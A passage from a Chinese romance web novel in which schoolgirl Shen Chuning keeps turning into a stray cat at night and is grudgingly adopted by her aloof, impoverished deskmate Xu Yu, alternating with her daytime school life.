要不是周边过于阴森,并不童话,沈初柠甚至怀疑自己是不是穿进了爱丽丝梦游仙境。
更重要的是。
沈初柠想伸手捏她脸,想证明自己到底是不是在做梦,毕竟这太过于玄幻,然后,她发现眼前的手变成了毛爪爪,还是粉色肉垫的,简直是惊天大离其!
吓得她瞪圆了眼睛,嗷叫了一声。一不小心踩到了个石子,然后整只猫滚下一个有弧度的小土坡,把自己弄得灰头土脸的。
还好毛多,摔下去不疼。当务之急是找到回家的路。说来也是奇怪,晚上沈初柠吃得挺饱,但累姑且不提,她现在还饿,也许是这副身体的反应。
可这四面八方奇奇怪怪,她都分不清东南西北。
但总好过等死地好,沈初柠就漫无目的地走着。当猫耳朵就是好,不一会,沈初柠听见很远的前方有动静。她又担心有坏人,毕竟刷到的那些虐猫的新闻不在少数,沈初柠便跑过去,在靠近声源处轻手轻脚地透过草丛里的缝隙一瞧。
沈初柠:!!!
是许屿。
仿佛是看见了救星。
毕竟是同班同学,还是同桌,再不近人情也会稍微帮帮她吧?
沈初柠想好了,到时候她在泥土上划拉一下她的名字,然后许屿把她交给她爸就好了,举手之劳而已。
她迫不及待地朝他跑过去。
沈初柠:学神学神学神!
“喵喵喵喵喵。”
但对方不近人情,丝毫不给她任何说话的机会。只是看她一眼,就移开视线,十分无情地朝楼梯那边去。
眼看着人不搭理自己即将远去,沈初柠看着这乌黑吧啦的天,还有吹来的冷风想到自己饿着的肚子,心中一紧,头脑一热,求生本能胜过一切,她朝他小跑赶过去。
不要走哇!
“喵唔喵唔!”
许屿感觉自己的裤腿被咬住,低头对上一双圆眼睛。
小猫看起来才几个月大,灰扑扑的,唯独那双琥珀色的眼睛亮得惊人,写满了某种他读不懂的急切和……熟悉?
许屿脚步顿了顿,虽然为人冷漠,但还是直接没甩开腿上的障碍物。
“别跟着我。”
沈初柠一听,更急了,咬着他裤脚的力道没控制住,又怕真给他咬坏了。中午是鞋,晚上是衣服,她可真怕把许屿全身上下都弄脏弄坏。
她连忙松口,转而用两只前爪死死抱住他的脚踝,整只猫几乎挂在了他腿上。
“喵!喵呜!喵——!”
是我啊!沈初柠!你同桌!
当然,如果是换做真人站在许屿前面,沈初柠是不敢朝他大呼小叫的。
她努力想表达,出口却只剩下一连串焦灼的猫叫。其实沈初柠更想用爪子写出个字来表明心意,但许屿根本不给她这个机会。一松手就要走。
许屿看着腿上这块突然粘人的“猫皮膏药”,沉默了。
夜色浓郁,路灯的光晕在他眼底投下浅浅的阴影,看不清情绪。他就那样站了一会儿,久到沈初柠感觉都快没力气抱紧他。
许屿蹲下身,从衣服侧袋里拿出晚上刘奶奶给他的猪肉脯。他撕开包装,掰成小片,递到沈初柠嘴边。
沈初柠饿得前胸贴后背,一时有东西吃,暂时也顾不上大事。
她凑上去小口小口地啃起来。吃得太急,还不小心舔到许屿的手指,吓得她差点噎住。
许屿静静地看着她,目光在她沾着草屑和灰尘的皮毛上停留了片刻,然后手离她身上又远了一点。晚风吹过,小猫瘦弱的脊背似乎微微抖了一下。
他伸出手,手指在空中迟疑了一瞬,最终轻轻落在沈初柠后背,拂去了几根沾上的枯草。
动作很轻,带着一种生疏的温柔。
沈初柠当然没有注意到他的一系列动作,她狼吞虎咽吃完几包猪肉脯。意犹未尽,心里想着以后问许屿在哪买的,这味道还挺好。
却看见许屿突然站起身。
“走了。”他说。
声音依旧平淡,听不出什么情绪。
沈初柠歪头,以为是让她跟着他一起走,她亦步亦趋地跟上他的脚步。
她走到楼梯却犯了难,楼梯有她身子这么高,看上去好难走的,不由停下脚步。
但许屿背对着她,显然没有等她的意思。一步一步上楼,外边的夜色将他的背影拉得很远。
沈初柠抬起的爪子僵在了半空。她想起许屿疏离的神情,终于后知后觉地意识到,他的“走”意味着他的离开,而不是他们一起离开。
不对……沈初柠立刻朝他叫。她还没有表明她身份来着!可发出的声音全是“喵喵喵”。
但许屿不为所动。
沈初柠意识到她现在的模样,在许屿眼里不过是一只莫名其妙缠人的流浪猫。所有的急切和依赖都无法被理解,反而成了令人困扰的负担。
强扭的瓜不甜,强跟的人……也不会收留她。从一开始,许屿对她都是冷漠的态度。
许屿本身就是很冷漠不爱搭理人的性格,沈初柠知道许屿挺烦她的,就算表明自己的身份,极有可能也懒得理她。
沈初柠慢慢放下了爪子,不再试图往前。原本因为找到熟人而高高竖起的耳朵,一点点、失落地耷拉下来,几乎贴在了脑袋上,尾巴尖也无精打采地垂到了地上。
筒子楼不高,李秀兰家在二楼,没几步路,许屿就消失在楼道间。
天色暗沉,沈初柠只能靠月光来看清周围。
毕竟人生地不熟,晚上也不安全,她蜷缩在角落等第二天到来,再找回家的路。
许屿回了房间,没有回头。
屋漏偏逢连夜雨,后半夜却是一声雷鸣。先是几滴冰冷的雨点砸落,很快便连成一片淅淅沥沥的雨幕。
许屿坐在书桌前看江涛给他的一系列资料。因为要早点回来给徐格致补习,不能像别的同学在教室里上晚自习,许屿在家唯一一点学习时间就是半夜。
又一道电光划过,雷声炸响的瞬间,屋外似乎隐约传来一声被风雨撕扯得细碎、几乎听不见的呜咽。
许屿突然想起晚间那只猫。灰扑扑、抱着他裤脚、用湿漉漉眼睛看着他的……它还在下面?
猫向来怕水,它又看着消瘦。
明明清楚他养不了它,也养不起它。但许屿莫名想到它渴求的眼神。
许屿一瞬间觉得自己真是多管闲事,但还是打开了房门,去了楼下。
雨幕之中,他看见那只团在一起的毛球蜷缩在角落,哪怕有房屋挡着,但还是有倾斜的雨撒下。猫身湿透,
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毛发狼狈地贴在身上,瘦小的身子随着隐约的雷声和冷风微微发着抖。
看到有人靠近,猫怯生生地抬起头,被雨水打湿的胡须颤了颤,露出一双被雨水浸润得更显澄澈。
四目相对。
沈初柠刚想朝他伸出爪,但想到之前发生的,还是忍住,克制又渴望地望着许屿,看上去可怜极了。
几秒后,许屿朝她走过来,蹲下来,伸出了一只手,语气依旧没什么起伏:“要不要跟我回去?”
沈初柠眼睛一亮。
“喵!”
要!
——
这是沈初柠第一次来同学家里,秦宋他们不算。
还未来得及观察客厅里的陈设,就被许屿带进一个小仓库内。
对。就是小仓库。
里面陈设极其简单,地面是老旧的水泥地,被拖得很干净。家具很少,一张木质方桌,木桌旁就是一张宽一米多一点的床。光是这两样,就几乎把整个房间塞得满满当当。没什么其他家具,连平时穿的衣服都是摆在桌子上的。
整个空间整洁得近乎刻板,透着一股与少年老成气质相符的、不容错辨的拮据感,但却没有一丝杂乱或污秽。
屋子很小,一眼就能望尽。和沈初柠在家里的豪华公主房简直就是天差地别,和其他人也是有很大不同的。过于简陋。
沈初柠愣了下,看向许屿。不过以她的视线只能看见他冷峻是侧脸与下颚线。
许屿也低头看了眼手上同样湿漉漉、还沾着泥污的小猫,眉头几不可查地蹙了一下。
“太脏了。”他低声说了一句,像是陈述一个事实,也像是在说服自己为什么要多此一举。
整个屋子都很安静,隔壁传来震天响的呼噜声。
许屿抱着她开门走向卫生间。
初来乍到,沈初柠观察了下四周环境。卫生间不大,但似乎比许屿的房间也大的多。
倒是没反应过来许屿要对她要做些什么。
只觉得忽然身子一轻,随即被放在了冰冷的池子里。下一秒,耳边响起了哗啦啦的水声!
冰凉的自来水劈头盖脸地淋下来!
“喵——!!!”
猫对水的天然恐惧瞬间攫住了她。什么同学情谊,什么学神光环,在猫咪本能面前不堪一击。沈初柠惊恐地尖叫一声,四肢猛地挣扎起来,爪子在水池光滑的内壁上徒劳地抓挠,拼命想往外跳。
“别动。”许屿按住她,声音依旧带着冷漠与生涩,“洗干净,不然不能待。”
但他的安抚苍白无力,语气和平常的冷漠冰冷一般无二。
沾了水的猫滑不溜手,沈初柠挣扎得更厉害了。水花疯狂四溅,打湿了许屿的袖子和前襟,地上也迅速积起一滩水渍。
动静闹得越来越大。
混乱中,沈初柠后腿猛地一蹬,踹翻旁边架子上的肥皂盒,发出了嘈杂的声响。
挣扎之际,卫生间的门猛然被人敲响,
有女人的声音骂骂咧咧,透过门清晰地传来。
李秀兰刚做着年入千万的梦,就这么被吵醒。她语气不耐与暴躁,知道不是自己儿子晚上作妖,她吼:“你要死啦!大晚上的还让不让人睡觉?一个人在卫生间干嘛?”
听及此,沈初柠才蓦然顿下,冰冷的水落在她身上也不管了。
她从来没有听见过这样的语气。哪怕从小不爱学习被教训,家长老师对她的话里中都隐含着无奈与对她的包容。
而不是这么刺耳,充满怨毒。
沈初柠意识到……许屿的家人好像对他不太友善。
“你要死啦”这种话怎么会从家人的口中说出?
哪怕她小时候调皮捣蛋,大了天天拖累她爸挨骂,她爸爸也从来没有这么说过她,甚至是一句重话都没有?
沈初柠昂着头看许屿,发现他表情并没有什么起伏,仿佛是早已麻木。
5. chapter5
就像每次做错事了挨说,哪怕这次许屿没有开口。沈初柠和往常一样,缩着脑袋当鹌鹑。
混着泥污的浑水顺着沈初柠瘦小的身子往下淌,在水池里晕开一道道灰黄的污迹。原本看不出颜色的毛发被打湿后,紧紧贴在身上,更显得沈初柠瘦骨伶仃。
只有一双眼睛显得格外大,写满了闯祸后的惊慌与愧疚。
李秀兰见里面闹腾的声音小了点,骂骂咧咧又回了卧室。
许屿看着眼前这片狼藉,又看了看水池里这副可怜巴巴的小模样。
他沉默地关掉水龙头,哗啦声戛然而止,只剩下水滴落的嗒嗒声和猫咪细微的,带着点颤抖的呼吸声。
他伸手拿过旁边一块毛巾,动作有些生硬,将她整个裹住,从冰冷的水池里抱了出来。
“别乱动。”许屿的声音听不出情绪,只是仔细地用毛巾吸干她皮毛上多余的水分。沈初柠僵着身子,一动不敢动,任由他摆布,只有偶尔控制不住地轻轻哆嗦一下。
初步擦干后,许屿抱着她,走到他房间,犹豫片刻,还是将她放在被子上。
“待着。”他言简意赅地命令,转身出去开始清理卫生间里的一片狼藉。
沈初柠蜷在带着皂角清香的干燥被褥上,打了个喷嚏,然后小心翼翼地把自己的爪子揣好。
——
她迷迷糊糊睡过去,等她再次睁开眼,发现自己正躺在她卧室的那张席梦思大软床上。
沈初柠下意识抬起自己的爪子,然后发现一只白皙纤细的手,五指分明,看起来就很适合打游戏。
她坐起身。许屿之前喂她吃东西,给她洗澡的情形历历在目,实在是过于真实。
门被突然敲响,扰乱了沈初柠的思绪。
沈天都在门口喊她起床去上学。
沈初柠回了声“知道了”,就赶紧换了校服,去卫生间洗漱。等差不多弄好,沈初柠离开卧室前,她鬼使神差在零食篮里倒了一堆小鱼干,牛肉丸之类的到书包里面。
楼下餐厅,早餐已经摆好。沈天都坐在位置上用手机和秘书联络,见沈初柠过来,他才放下手机。
“柠柠,爸爸下午的飞机,要去国外出差几天。”沈天都说。
沈初柠咬着吐司,含糊地应了声。
她爸是空中飞人,一个月里能有半个月在家就算稀奇,她早就习惯了。
饭后,沈初柠坐司机车去了学校。
同学们三三两两地走进校门,喧闹声扑面而来。沈初柠背着书包,看见教学楼那醒目的“厚德”二字,那颗因为诡异梦境而有些飘忽的心,渐渐落回了实处。
这才是现实。
她深吸一口气,正准备加快脚步,却被人喊住。
秦宋小跑朝她过来,面色是被放了鸽子的怒极,“沈初柠!你言而无信!说好带我上分的,你知不知道我好不容易才拿到这一次玩手机的机会……”
秦宋絮絮叨叨,沈初柠的视线却被校门旁那棵香樟树吸引,许屿在那边走过,且即将朝她过来。
沈初柠蓦地就想起昨晚变成猫所经历的一切经过,太奇怪了,不是说如果是梦,醒来就会差不多忘记里面的内容吗?
秦宋:“你到底有没有听我在说话?”
她与许屿之间的距离快速缩短。
就在即将擦肩而过的刹那,一阵微风拂过,或者说,是因他走动的步伐而带起的气流,一股极其熟悉的气息钻入了沈初柠的鼻腔,和“梦里”她待在他怀中时闻到的淡淡的皂荚香味一模一样。
所以……确定真的只是个梦……吗?
沈初柠以一种极其难以言喻的表情和秦宋说:“秦宋,我和你说件事。”
秦宋低头看她,表情依旧忿忿:“什么?”
沈初柠欲言又止,深深叹了口气。
“算了。”
秦宋:“???”
秦宋:“沈初柠你玩我呢!”
——
主要是事情太过离奇,连沈初柠自己都不怎么相信。
早读去了教室,刚踏进教室门,沈初柠就看见了坐在位置上的许屿。
她慢腾腾地走过去,手上还提着秦宋给她带的杂粮煎饼。
这是上个月她和秦宋打的一个赌。只要她在晋级赛上拿五杀,秦宋就给她带一个月的早餐,不要他家阿姨自己做的饭,要学校附近早餐铺的,每天还要不相同。
秦宋并不相信她玩一个上单能做到这份上,且他们还是逆风局。结果当然是给秦宋啪啪打脸。
见她来,许屿站起身给她留地进去。两人擦身而过的时候,沈初柠又闻到了许屿身上的香气,真的是非常熟悉。
她差点脱口而出,问他,昨晚是不是捡到一只猫?
沈初柠几乎是卡点到教室的,没一会打铃声响起,老师抱着课本教案走了进来。
早读是语文课。
语文老师方芸一来就说给五分钟预留时间,等会抽查课文背诵情况。
那是昨天下午的语文作业。
沈初柠当然没背。
本来她想的是等回家深更半夜,头脑更清晰。到时候再背简直是易如反掌,但之后发生的一切让她把这项任务早就抛之脑后。
要说还是平行班好,以前的语文老师还会问他们有没有背好,然后大家一致性说没有,接着语文老师就让他们再背。
但一班老师根本不会问这类问题,每到这时,其他同学也都自觉把语文书放桌肚,直接默写。
独留沈初柠一个学渣看看你,看看我,看看他,看无可看。她万分想念原来后排的位置,起码那时还有个周曜在旁边,然后她抄他的。
沈初柠绝望地收回视线,这次是让默《将进酒》,她绞尽脑汁也就回忆起一句,君不见长江之水天上来。
身旁的许屿几乎没有任何停顿,一行行飘逸却不失风骨的字迹流畅地倾泻而出。
不过片刻,沈初柠甚至还没艰难地憋出“天生我材必有用”后面那句,许屿就已经笔尖一顿,将笔搁在了写满的本子上。
教室里一片寂静,只剩下其他人笔尖划过纸张的声音。
许屿那本默写本写完就摊开在课桌上,距离沈初柠的桌面,离沈初柠不过几十厘米,那上面的字迹清晰可辨。
沈初柠正襟危坐,不动声色地朝他默写内容上去看。
抄还是不抄?
她和许屿不熟哎。
被发现了岂不是会很尴尬?
沈初柠纠结。
片刻语文老师声音却响起,让最后一排同学把默写本收上来。
这么快!
沈初柠看着自己本子上那孤零零的几行字和后面大片的空白,悔恨地闭上了眼。
早知道抄了。
沈初柠这组是周曜收作业。他文科不行,作文总跑题。在这个满是学霸的班里,全都是各科全能。像周曜这样稍微偏点科的自然也是倒数。
他一看沈初柠也就默了一半,呲个大白牙就嘲笑,“呦,怎么还空出那么多?没背啊?”
沈初柠懒得理他。
“要不要哥帮你?”
沈初柠来了兴趣,她可不想和以前一样大中午的还去方芸办公室里背书:“怎么帮?”
“噗嗤。逗你的。”
简直无天下之大语。
沈初柠咬牙:“你完蛋了周曜。”
周曜可不怕她这威胁,刚想说什么话逗她,却
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被语文老师逮住。
“周曜干嘛呢,还不快把作业交上来?”
“哦,知道了。”他这样说着,却朝沈初柠挑了个眉,以示挑衅。
沈初柠本来想朝周曜比中指的,但碍于许屿在场,这样做不太雅观。心里盘算着下次和周曜打游戏多卖他几次。
——
结果自然是当方芸批完默写后,见沈初柠漏下的大片空白,她就被喊到办公室里去。
作为常年在实验班任教的老师,方芸已经很久没有遇见这样让人头疼的学生。上一个这么不学无术的还是她儿子。
她拿出沈初柠的那本默写,“说吧,怎么回事?昨晚没有背?”
事实就是没背。但总不能真这样说,到时候万一告到班主任哪里去,只怕是江涛真被她气出高血压来。
但也不能全怪她吧?她本来想背的来着的……
沈初柠真是有苦难言。想起昨晚的一切,总不能和方芸说,老师我跟你说一个秘密哦。昨晚我梦见我变成一只猫了,而且也许这不是梦……
这谁听着都不会相信的好吧。
沈初柠准能模棱两可答:“昨天晚上不小心睡着了……”
方芸捏住眉心,考虑到沈初柠确实真实水平跟不上实验班进度,给出限期:“下周一中午过来默。三天能背出来吧?”
沈初柠小鸡啄米似的点头。
上课铃声响起,方芸朝她摆手:“先回去吧。”
沈初柠溜之大吉。
临走前听办公室里老师调笑:“呦。既阚昭之后,又有给方老师头疼的人了。”
另一老师笑着反驳:“可别这样说。人方老师儿子最后可考上了南川大学。”
……
沈初柠发现这语文老师可真是个好人。直到放学她都没有被江涛找,这说明方芸没有和他打小报告。
为了回馈她的恩情,沈初柠决定以后要好好学习语文。
后两天周末,于是放假时,沈初柠除了带了点作业还专门带语文课本回家。
沈天都去出差,别墅里就沈初柠和保姆陈姨两人。
吃晚饭时,陈姨切了盘水果给沈初柠等会带楼上去吃。
沈初柠看她欲言又止,直接就问:“陈姨有什么事吗?”
陈姨摩挲了双手,“大小姐……我……”
沈初柠每次听见这个大小姐就有点不自在,感觉怪怪的。
沈初柠纠正过好多次,不过陈姨一犯紧张就忘了之前的交代。她不好意思道:“我老伴今儿个出了车祸,腿折了,我能不能请两天假……”
沈初柠听懂她的意思,就是沈天都不在家,陈姨怕她没人照顾。她摆摆手,“没事陈姨,你去吧。我这么大个人了,又不是不会点外卖。”
陈姨算是看着沈初柠长大的,沈初柠自然对她有深厚感情。她问:“对了,陈姨,你身上有钱吗。住院好像挺费钱的,我给你转一点吧?”
陈姨赶紧摆手:“不用不用,先生小姐平时给我的已经够多了。”
“奥奥,那之后医院那边有什么需要帮忙的,陈姨你可以和我说。我去找我爸,他认识人多。”
其实陈姨不在家沈初柠还乐得自在。这样她哪怕是睡到日上三竿,下午吃饭她都不会被念叨。天知道自由有多重要。
吃完饭陈姨收拾了碗筷带着行李离开,沈初柠也拿起平板追漫画。
她最喜欢的木木籽大大又更新了,沈初柠点进微博上面去看,已然忘了前几个小时励志一回家就背书。
翻了几页,她突然有点困。
再睁眼,眼前的场景却不是她的卧室。
许屿清冷的的声音在耳畔响起:“我养不了你。”
6. chapter6
沈初柠被惊得一个激灵。
瞌睡瞬间了无踪迹。
她环望四周,却发现周围都是深灰色,仰头就看见许屿线条清晰的下颌。
她爪子尝试摩挲了两下脚下,粗糙触感让她明白她这是在一个纸箱里。
她又在做梦?
还是连续剧?
沈初柠用爪子轻轻挠了下她的脸,没用劲,怕疼。
当那一点细微的尖锐感袭来的时候,沈初柠瞪大圆溜溜的眼睛。
她。真的。变成一只猫了!
看样子还是魂穿。
就在这时,一个温和的女声传来:“真的不考虑自己养一下吗?说实话我们这里猫猫狗狗太多,有些也老打架,她这么瘦弱我担心她受欺负。”
“嗯。”许屿的声音低沉冷淡,没有太多犹豫,“我养不了。”
这不是推脱,而是基于现实最直接的判断。他连照顾好自己都已经拼尽全力,哪还有余力去承担另一个生命的重量?同情心是奢侈的东西,他早已学会摒弃。
话音落下,沈初柠就感觉纸箱被轻轻放下,眼前的纸壳矮了下去,视野豁然开朗。
她发现自己被放在了一个有许多隔断和笼舍的大房间里,空气中弥漫着消毒水和许多动物混杂的气味。
抬眸就撞上一直大黄猫的视线,它被关在旁边的一个笼子里,体型壮硕、脸上带疤,正懒洋洋地舔着爪子,瞳孔漫不经心地扫过来,还朝沈初柠龇了龇牙。
活脱脱一位丧彪大哥。
这一巴掌不能打八个她?
沈初柠作为小猫生理反应性地炸开了毛。
她还没梳理完当前的状况,许屿就已经放下她,对管理员女生点了点头,转身就朝外走。
管理员女生走进仓库,去找一只笼子出来。
沈初柠望着许屿渐行渐远的背影,她心中一紧,一旁高大的黄猫还虎视眈眈地盯着她。
这人生地不熟的,丧彪大哥看着脾气就不太好,揍她一个弱小孤苦无依的小可怜简直就是易如反掌。
而且她这莫名其妙变成一只猫实在离奇,要是她两个身体之间还有什么关系,万一她一不小心嘎嘣死了,她本体也噶了怎么办。
KING才刚更新,她新玩法还没尝试过呢!
人的潜力总是无穷。不知是生命的威胁,还是对游戏的信念,沈初柠越想越觉得着急。她后腿猛地一蹬,从纸箱里飞跃而出。
到底做惯了人,没有习惯猫的身体。她重重落地,在地上的灰里咕噜滚一圈,顾不上疼,跌跌撞撞朝许屿跑去。
管理员女生刚出来就看见一道灰扑扑的小闪电直冲门口。往桌上一看,猫不见了。
“喵!喵呜!”
别。别走!
身后传来凄惶急切的叫声,许屿脚步未停,直到裤脚被猛地拽住,一个轻微的重量悬吊其上。
他低头,预料之中又看到那只小脏猫。它比昨晚更狼狈,浑身沾满灰尘,瑟瑟发抖,可那双仰望着他的眼睛却亮得惊人,里面似乎盛满了近乎愚蠢的执着。
不做能力范围之外的事,不惹不必要的麻烦。一丝多余的牵绊都可能打破他艰难维持的平衡。
这向来是许屿的行为准则。
可当他蹲下身想把沈初柠扯开的时候,他的动作却开始迟疑。
一个念头突兀地闯入他始终冷静自持的脑海。
它为什么偏偏追着他?
明明他已经拒绝过了多次,态度堪称恶劣,甚至把它送到了这里。为什么它还是拼尽全力,弄得一身狼狈也要追上来?
这种被毫无理由、固执坚定地选择和需要的感觉,于他而言,陌生得可怕。
他的人生里充满了权衡、放弃和不得已。从未有过什么事物或什么人,会如此不管不顾地,一次次地奔向他。
心底某处坚硬冰冷的外壳,似乎被那细微的爪子挠了一下,裂开一道微不可察的缝隙。
一种极其陌生而复杂的情绪悄然滋生。那并非单纯的怜悯,更像是一种被强烈需要后的震动,以及一丝连许屿自己都不愿承认的……心软。
总算追上许屿,沈初柠长舒一口气。
“喵喵,喵喵喵。”
许屿,你救救我呀。
她在水泥地上用爪子划拉大字,想写出她的名字。但无奈沈初柠发现她指甲似乎不长,效果甚微,水泥地上就犯了一点点的白,完全看不出。但沈初柠觉得只要认真看,还是能看出一点细枝末节的。
“喵喵喵,喵喵喵喵。”
我是沈初柠。哎呀,破地,这么那么难划。
许屿沉默地站在那里,内心进行着无人知晓的拉扯。理性仍在叫嚣着离开,却迟迟没有动作。
静静看着猫因为他离开而变得有些急躁的模样,许屿弯下腰,动作算不得温柔,甚至有些生硬,但还是小心地将这只固执的小东西从裤腿上解下来,捧在掌心。
它的身体温热,透过脏污的皮毛,触碰着他的皮肤,莫名地烫。
“我养不了你。”许屿低沉着嗓音,听上去却没有之前那样冷漠,带着一点无奈的哑。
“喵喵喵喵。”
我知道呀,我都说好几次了。不用你养我,你等我爸回来,把我给他就行。
“我的环境不好,给不了你优渥的生活。跟着我,会很辛苦。”
“所以,”许屿看着她圆溜溜的,映着自己影子的眼睛。
他的语气里带着一种不容置疑的决绝,“既然是你自己要跟上来的……”
指尖微微用力,“以后就不能离开我。”
沈初柠:“喵?”
你刚刚说什么来着,没有听清耶。
——
再次回到许屿的卧室已经是两小时后了。
沈初柠跳上许屿的凳子,把全屋的构造览于视线之内。
果然和之前见到的一样,很破旧。空间又小又窄,墙壁泛着陈旧的微黄,别说空调了,连电风扇都没有。
还不透风,没有窗户,盛夏的余热全部闷在屋子里,沈初柠感觉自己快要热得融化,瘫在凳子上,成了一张猫饼。
她歇了会儿,又跳下椅子,去探索别的地方。整个屋子都不大,格局紧凑,但刚刚许屿住的那间尤其显得逼仄,像在储藏室里直接放了张床,还是旧床。
家里静悄悄的,似乎没有人。
客厅的旧茶几上放着一个孤零零的玻璃水杯。沈初柠突然被猫的天性支配,眼睛一亮,小跑过去,轻盈地跃上茶几,伸出爪子,跃跃欲试地想去拨弄那个杯子。
就在她的爪子即将碰到杯壁的瞬间,身体忽然一轻,被从后面拦腰抱了起来。
“喵?”她不解地扭头,对上许屿的脸。
“不要捣乱。”他声音平淡,将沈初柠抱到卫生间,然后转身去接了一盆温水。
显然,他是要给她洗澡。
目前作为一只猫,沈初柠对水有着
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天然的恐惧,更何况昨晚才经历过一场淋浴噩梦。她立刻挣扎起来,四肢并用想要逃离水盆的魔爪。
“喵——!!嗷呜!”
不要!放开!
挣扎间,她后腿猛地蹬在洗手池边缘,噼里啪啦一阵响,上面放着的肥皂、梳子等零碎物品被她扫落在地,发出不小的动静。
omo。又惹祸了。
想起昨晚发生的一切,沈初柠耳朵垂成飞机耳,在愧疚老实被许屿洗澡和继续挣扎逃离魔爪之间徘徊不定。
这时,卫生间的门却被直接推开。
沈初柠看过去,是一个看起来十五六岁的少年,长相与许屿有一两分相似之处。他带着耳机,手里还拿着手机打游戏。
“许屿,你大白天在屋里拆家呢?弄这么大动静。”
经历了一波团战之后,许格致操纵角色回城补血。他才抬起眸,视线移到被许屿控制住的炸毛小猫身上,挑眉:“呦,捡了只猫,还带回家来了?”
见许屿不给他任何反应,而是继续给猫洗澡。许格致也不恼,他靠在门框上,带着点警告意味地提醒:“说你最好别被我妈知道,不然有你好受的。”
许屿一只手稳住怀里湿漉漉,还在喵喵抗议的小猫,另一只手捡起掉落的肥皂,头也没抬。
“知道。等你中考完我就搬出去。”
沈初柠昂着头,尾巴甩啊甩。
咦?
搬出去?这不是许屿的家吗?
奥,那个男生说我爸妈。可能真的不是……
她突然回忆起刚刚看见的许屿卧室。也是,许屿爸爸妈妈怎么会让许屿住这样的地方。
许屿爸爸妈妈呢?
他们看见许屿被这样对待,一定会生气的吧。
——
沈初柠正思考着,忽然被许屿裹着毛巾抱起,脚上空空,着不了地,她晃了晃四只爪爪,还挺好玩。
许格致见许屿表情淡淡,也懒得再热脸贴冷屁股,回卧室继续开下一把游戏。
许屿把沈初柠抱回卧室,从卫生间拿了吹风机给她吹毛。
沈初柠觉得她魂穿的这只猫十分之营养不良,热流吹过,带起许多毛絮,有些黏在沈初柠的鼻子上,她打了个大大的喷嚏。
等她毛发干了,许屿回卫生间整理残局。
刘秀兰平时节俭惯了。洗漱牙杯都用的塑料,也没什么护肤用品,是以这些掉在地上也没摔碎。
沈初柠看许屿出去,闲来无聊,也跟着他去了卫生间。卫生间里全是被她甩的水,湿哒哒的,她猫步避开这些危险液体。再一个起跳直接跃上洗漱台。
洗漱台上放着镜子,不知是不是这里唯一一块,反正许屿屋子里是没有,桌上空空,床上空空,连个衣柜都没有。
沈初柠望向镜子里的自己,都穿来这么久了她还见过原主的模样。左看右看,甩甩尾巴,虽然瘦了点,但多养养肯定很漂亮,沈初柠稍稍满意。
猫猫以棕黄色的毛为主,黑色线条为辅,特点比较鲜明的是脖子上有一圈像白色围脖的毛,四只爪子也是白色的。
她朝镜子里“喵”了声。
真的是我呀。
但沈初柠越看越觉得眼熟。
她突然想起。
这不就是前天还是前前天晚上,她喂的那只小猫?!
她平时悬疑奇幻类小说看得多。
沈初柠思考。
……难道这之间有什么联系?
7. chapter7
沈初柠突然变成被她投喂的猫猫,这其中到底有什么关系?
沈初柠思考,沈初柠不知,沈初柠放弃。
既来之则安之,除了这样,其他好像也做不了什么。
沈初柠是在晚前醒的。
下午的时候似乎是许屿家里人回来了,沈初柠听许屿喊她婶婶,沈初柠本来想出去和她打个招呼来着,却被许屿勒令住不能离开他房间半步,不然会被送出去。
沈初柠知道有些家长不愿意小孩养宠物,便“喵”了声,以示了解。
李秀兰在门外喊许屿去给许格致补习。
许屿离开前给沈初柠倒了猫粮。这是他们回来时,许屿去宠物店专门给沈初柠买的,售货员夸的那是天花乱坠,说什么里面涵盖了猫猫所需要的全部营养,当然这价格自然是这些猫粮中最贵的。
但许屿二话不说还是直接付了钱。
说不感动是假的,沈初柠心里觉得许屿真是大好人。但许屿离开房间后她就去小尝一口,毕竟她也有点饿了。
然后。
呕,难吃。
沈初柠觉得还是以睡觉充饥,跃到许屿床上,开始补觉,一天来回奔波怪累的。
于是乎,沈初柠的本体就在她自己家别墅里苏醒。
沈初柠睁眼看到她自己亮堂的卧室,以及头顶上的水晶吊灯还愣了会。反应过来,连忙起身。
她下意识看向自己的手指,五指纤纤,不是猫爪。
手机响个不停,她接起,是秦宋。
秦宋:“终于是接了。沈初柠,你干嘛呢,都打了百八十个电话了,再不接电话我都要以为你熬夜猝死,来你家找你了。”
“我变成一只猫了。”
“啊?你睡蒙了?”
“你看,实话说了你也不信。”沈初柠悠悠掀起被子从床上下来,下楼去厨房拿个蓝莓小蛋糕吃,快饿死了,“先不和你说了,有事要忙。”
“哦。”
沈初柠挂了电话,给她爸打去,可惜电话是沈天都秘书接的。
沈天都秘书跟了沈天都好几年,沈初柠也对他听熟悉。得知沈天都连夜辗转各省,现在还在和某某公司谈合作的事,都没怎么合过眼。
沈初柠到嘴边的话又咽了回去。
算了。
沈初柠挖了一大勺蛋糕里面的蓝莓果酱,看样子许屿似乎有养她的想法,就先不让沈天都忧心她的事了。不然她爸听见她现在这么奇异的情况,肯定又要回国,那还蛮累的。
何况她变猫的这种情况也不知道要持续多久,万一她爸一回来她就好了,岂不是白奔波了。
沈初柠让秘书转达她的话,让沈天都好好注意休息,身体才是革命的本钱。
她挂了电话,又再从冰箱里拿了可乐和一堆小蛋糕回到卧室,翻看聊天软件。秦宋之前噼里啪啦给她发了一堆信息,要么就是游戏胜利截图,要么就是让她带他上分。
沈初柠现在打字回:[数学作业写完了没,给我抄抄。]
秦宋:[?才周六,老铁。你什么时候这么积极了?是不是在背着我偷偷努力!质疑jpg.]
沈初柠回复:[懒得喷。]
她又问了周曜,果然得到和秦宋一样的回复。
也是,物以类聚,她不爱学习,经常一块玩的能是什么勤奋努力的主。
最后沈初柠还是带有侥幸心理的问了虞灿和申逸明,主要和他们不在一个班,老师作业布置的可能不同。
不过运气还不错,虞灿数学和英语都已经写完。还是虞灿靠谱。
沈初柠拿了答案之后快速地抄。平时她都是周末晚上奋笔疾书,现在这样勤勉倒不是她改邪归正,只是万一等会她又变猫,周一江涛得知她没写作业,沈初柠觉得自己绝对逃不过一顿河东狮吼。
好在实验班里作业没那么多要抄写的,大多是思考类型题目,沈初柠很快做完,拿起语文书背课文。
“君不见黄河之水天上来,奔流到海不复回。”
“君不见高堂明镜悲白发,朝如青丝暮成雪。”
……
好累。沈初柠回床上去背。
“人生得意须尽欢,莫使金樽空对月。”
“天生我材必有用,千金散尽还复来。”
……
“喵喵。”
烹羊……
“喵?”
咦?
沈初柠睁开眼,熟悉的陈旧天花板映入眼帘。她又回到了许屿的房间。
她昂首,脚下软软,她踩了踩,意识到有什么不对劲,低头一看。
“喵!”一声惊呼,直接一个弹跳反应,扑通落到许屿的脸上。
